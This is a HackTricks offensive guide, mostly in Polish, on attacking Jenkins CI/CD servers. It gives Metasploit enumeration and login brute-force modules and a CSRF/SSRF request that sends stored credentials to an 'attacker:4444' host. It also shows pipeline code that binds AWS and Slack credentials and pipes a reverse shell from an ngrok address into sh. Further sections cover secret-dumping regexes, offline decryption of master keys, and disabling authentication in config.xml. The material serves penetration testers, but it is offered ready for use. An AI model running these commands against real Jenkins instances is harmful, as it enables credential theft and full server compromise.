Bezpieczeństwo Jenkins

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podstawowe informacje

Jenkins to narzędzie, które oferuje prosty sposób na utworzenie środowiska continuous integration lub continuous delivery (CI/CD) dla niemal dowolnej kombinacji języków programowania i repozytoriów kodu źródłowego z użyciem pipeline’ów. Dodatkowo automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje potrzeby tworzenia skryptów dla poszczególnych kroków, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowania, testowania i wdrażania, niż można to łatwo skonstruować ręcznie.

Basic Jenkins Information

Enumeracja bez uwierzytelnienia

Aby wyszukać interesujące strony Jenkins bez uwierzytelnienia, takie jak (/people lub /asynchPeople, które wyświetlają aktualnych użytkowników), możesz użyć:

msf> use auxiliary/scanner/http/jenkins_enum

Sprawdź, czy możesz wykonywać polecenia bez uwierzytelniania:

msf> use auxiliary/scanner/http/jenkins_command

Bez poświadczeń możesz zajrzeć do ścieżki /asynchPeople/ lub /securityRealm/user/admin/search/index?q= w poszukiwaniu nazw użytkowników.

Możesz być w stanie uzyskać wersję Jenkinsa z ścieżki /oops lub /error

Znane podatności

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers \xc2\xb7 GitHub

Logowanie

W podstawowych informacjach możesz sprawdzić wszystkie sposoby logowania w Jenkins:

Basic Jenkins Information

Rejestracja

Możesz znaleźć instancje Jenkins, które pozwalają na utworzenie konta i zalogowanie się do nich. Tak proste.

Logowanie SSO

Jeśli dostępne były funkcje/plug-iny SSO, powinieneś spróbować zalogować się do aplikacji przy użyciu konta testowego (np. testowego konta Github/Bitbucket). Sposób opisany tutaj.

Bruteforce

Jenkins nie ma polityki haseł ani zabezpieczeń przed username brute-force. Konieczne jest zastosowanie brute-force wobec użytkowników, ponieważ mogą być używane słabe hasła lub nazwy użytkowników jako hasła, a nawet odwrócone nazwy użytkowników jako hasła.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Użyj this python script lub this powershell script.

IP Whitelisting Bypass

Wiele organizacji łączy SaaS-based source control management (SCM) systems takie jak GitHub lub GitLab z internal, self-hosted CI rozwiązaniem, takim jak Jenkins lub TeamCity. Ta konfiguracja pozwala systemom CI receive webhook events from SaaS source control vendors, głównie w celu uruchamiania zadań pipeline.

Aby to osiągnąć, organizacje whitelistują zakresy adresów IP (IP ranges) platform SCM, umożliwiając im dostęp do internal CI system przez webhooks. Jednak warto pamiętać, że każdy może założyć konto na GitHub lub GitLab i skonfigurować je tak, by uruchamiać webhook, potencjalnie wysyłając żądania do internal CI system.

Sprawdź: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Wewnętrzne nadużycia Jenkins

W tych scenariuszach zakładamy, że masz ważne konto z dostępem do Jenkins.

Warning

W zależności od mechanizmu Authorization skonfigurowanego w Jenkins oraz uprawnień skompromitowanego użytkownika możesz, ale nie musisz, być w stanie przeprowadzić poniższe ataki.

Aby uzyskać więcej informacji, zobacz podstawowe informacje:

Basic Jenkins Information

Lista użytkowników

Jeżeli uzyskałeś dostęp do Jenkins, możesz wyświetlić innych zarejestrowanych użytkowników pod adresem http://127.0.0.1:8080/asynchPeople/

Zrzucanie buildów w celu znalezienia sekretów w postaci tekstu jawnego

Użyj this script aby zrzucić build console outputs i build environment variables, w nadziei na znalezienie sekretów w postaci tekstu jawnego.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

Niektóre pluginy udostępniają Jelly validateButton lub test connection handlers pod ścieżkami takimi jak /descriptorByName/<Class>/testConnection. Jeśli handlery nie wymuszają POST ani sprawdzeń uprawnień, możesz:

  • Zmień POST na GET i usuń Crumb, by obejść CSRF.
  • Wywołaj handler jako low-priv/anonymous, jeśli nie istnieje sprawdzenie Jenkins.ADMINISTER.
  • Wykonaj CSRF na adminie i zamień parametr host/URL, aby exfiltrate credentials lub wywołać połączenia wychodzące.
  • Wykorzystaj błędy odpowiedzi (np. ConnectException) jako oracle SSRF/port-scan.

Przykład GET (bez Crumb) zamieniający wywołanie walidacyjne w SSRF/credential exfiltration:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

Kradzież poświadczeń SSH

If the compromised user has enough privileges to create/modify a new Jenkins node and SSH credentials are already stored to access other nodes, he could steal those credentials by creating/modifying a node and setting a host that will record the credentials without verifying the host key:

Zwykle znajdziesz Jenkins ssh credentials w global provider (/credentials/), więc możesz też je zrzucić tak, jak zrzucasz inne sekrety. Więcej informacji w sekcji Dumping secrets.

RCE in Jenkins

Getting a shell in the Jenkins server gives the attacker the opportunity to leak all the secrets and env variables and to exploit other machines located in the same network or even gather cloud credentials.

By default, Jenkins will run as SYSTEM. So, compromising it will give the attacker SYSTEM privileges.

RCE Creating/Modifying a project

Creating/Modifying a project is a way to obtain RCE over the Jenkins server:

Jenkins RCE Creating/Modifying Project

RCE Execute Groovy script

You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:

Jenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

You can also get RCE by creating/modifying a pipeline:

Jenkins RCE Creating/Modifying Pipeline

Eksploatacja pipeline’ów

To exploit pipelines you still need to have access to Jenkins.

Build Pipelines

Pipelines can also be used as build mechanism in projects, in that case it can be configured a file inside the repository that will contains the pipeline syntax. By default /Jenkinsfile is used:

It’s also possible to store pipeline configuration files in other places (in other repositories for example) with the goal of separating the repository access and the pipeline access.

If an attacker have write access over that file he will be able to modify it and potentially trigger the pipeline without even having access to Jenkins.
It’s possible that the attacker will need to bypass some branch protections (depending on the platform and the user privileges they could be bypassed or not).

The most common triggers to execute a custom pipeline are:

  • Pull request to the main branch (or potentially to other branches)
  • Push to the main branch (or potentially to other branches)
  • Update the main branch and wait until it’s executed somehow

Note

If you are an external user you shouldn’t expect to create a PR to the main branch of the repo of other user/organization and trigger the pipeline… but if it’s bad configured you could fully compromise companies just by exploiting this.

Pipeline RCE

In the previous RCE section it was already indicated a technique to get RCE modifying a pipeline.

Checking Env variables

It’s possible to declare clear text env variables for the whole pipeline or for specific stages. This env variables shouldn’t contain sensitive info, but and attacker could always check all the pipeline configurations/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Zrzucanie sekretów

Aby dowiedzieć się, jak Jenkins zazwyczaj traktuje sekrety, sprawdź podstawowe informacje:

Basic Jenkins Information

Poświadczenia mogą być przypisane do globalnych providerów (/credentials/) lub do konkretnych projektów (/job/<project-name>/configure). Dlatego, aby wyeksfiltrować wszystkie, musisz skompromisować przynajmniej wszystkie projekty, które zawierają sekrety i uruchomić niestandardowe/zatrute pipelines.

Jest jeszcze inny problem — aby umieścić sekret inside the env pipeline’a musisz znać nazwę i typ sekretu. Na przykład, jeśli spróbujesz załadować usernamePassword secret jako string secret, otrzymasz ten błąd:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Oto sposób ładowania kilku powszechnych typów sekretów:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Na końcu tej strony możesz find all the credential types: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

Najlepszym sposobem, aby dump all the secrets at once jest compromising maszyny Jenkins (np. uruchamiając reverse shell w built-in node) i następnie leaking master keys i encrypted secrets oraz odszyfrowanie ich offline.
Więcej na temat jak to zrobić w Nodes & Agents section oraz w Post Exploitation section.

Wyzwalacze

Z the docs: Dyrektywa triggers definiuje automatyczne sposoby, w jaki Pipeline powinien być ponownie uruchamiany. Dla Pipeline’ów zintegrowanych ze źródłem takim jak GitHub lub BitBucket, triggers mogą nie być konieczne, ponieważ integracja oparta na webhookach prawdopodobnie już istnieje. Obecnie dostępne triggers to cron, pollSCM i upstream.

Przykład cron:

triggers { cron('H */4 * * 1-5') }

Sprawdź inne przykłady w dokumentacji.

Węzły & Agents

A Jenkins instance might have different agents running in different machines. Z perspektywy attacker, dostęp do różnych maszyn oznacza different potential cloud credentials do kradzieży lub different network access, który może być wykorzystany do eksploatacji innych maszyn.

For more information check the basic information:

Basic Jenkins Information

Możesz wylistować skonfigurowane węzły w /computer/, zazwyczaj znajdziesz the **Built-In Node ** (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej:

Szczególnie interesujące jest przejęcie Built-In node, ponieważ zawiera wrażliwe informacje dotyczące Jenkins.

Aby wskazać, że chcesz run the pipeline w built-in Jenkins node możesz w ramach pipeline określić następującą konfigurację:

pipeline {
agent {label 'built-in'}

Pełny przykład

Pipeline na konkretnym agencie, z cron trigger, z pipeline i stage env variables, ładując 2 zmienne w kroku i wysyłając reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read to RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Możesz wylistować secrets uzyskując dostęp do /credentials/, jeśli masz wystarczające uprawnienia. Zwróć uwagę, że to wyświetli jedynie secrets znajdujące się w pliku credentials.xml, ale build configuration files mogą również zawierać więcej credentials.

If you can see the configuration of each project, you can also see in there the names of the credentials (secrets) being use to access the repository and other credentials of the project.

From Groovy

Jenkins Dumping Secrets from Groovy

Z dysku

Te pliki są potrzebne, aby odszyfrować Jenkins secrets:

  • secrets/master.key
  • secrets/hudson.util.Secret

Takie secrets zwykle można znaleźć w:

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

Oto regex, aby je znaleźć:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Odszyfruj sekrety Jenkins offline

Jeśli zrzuciłeś wymagane hasła do odszyfrowania sekretów, użyj this script aby odszyfrować te sekrety.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Odszyfruj sekrety Jenkins z Groovy

println(hudson.util.Secret.decrypt("{...}"))

Utwórz nowego użytkownika administratora

  1. Uzyskaj dostęp do pliku Jenkins config.xml w /var/lib/jenkins/config.xml lub C:\Program Files (x86)\Jenkis\
  2. Znajdź element <useSecurity>true</useSecurity> i zmień wartość true na false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Zrestartuj serwer Jenkins: service jenkins restart
  5. Wejdź ponownie do portalu Jenkins — tym razem Jenkins nie będzie wymagać żadnych poświadczeń. Przejdź do “Manage Jenkins”, aby ustawić ponownie hasło administratora.
  6. Ponownie włącz bezpieczeństwo zmieniając ustawienie na <useSecurity>true</useSecurity> i ponownie zrestartuj Jenkins.

Źródła

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks